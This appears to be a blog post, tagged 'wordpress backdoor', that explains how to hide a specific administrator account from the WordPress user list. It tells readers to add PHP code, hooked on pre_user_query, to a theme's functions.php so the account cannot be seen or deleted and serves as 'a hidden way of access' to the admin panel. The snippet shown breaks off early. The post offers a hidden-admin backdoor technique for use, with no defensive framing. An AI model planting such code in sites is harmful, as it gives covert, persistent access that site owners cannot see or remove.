Skip to main content

Posts

Showing posts with the label wordpress backdoor

WP Hide A Specific Admin Account From Admin Panel User List

Wordpress How to Hide A Specific Admin Account From Admin Panel User List Wordpress is the most popular PHP CMS that is used by many websites, it provides an admin panel to manage it, also we can create multiple users to manage it, but sometimes we want to hide an admin  from the user list so no one can delete it , also it works like a hidden way of access admin panel. First create an account that you want to hide or if you already have that account then we can use that too. So to hide an admin account from user list we need two functions , one is to hide user from users lists and second code to show total users count. Open functions.php file of your current theme (Location: wp-content/themes/YOUR_THEME_NAME/functions.php) and add below code there. 1. Hide an admin from the users list or wp backend add_action('pre_user_query','site_pre_user_query'); function site_pre_user_query($user_search) {   global $current_user;   $username = $current_user->user_login; ...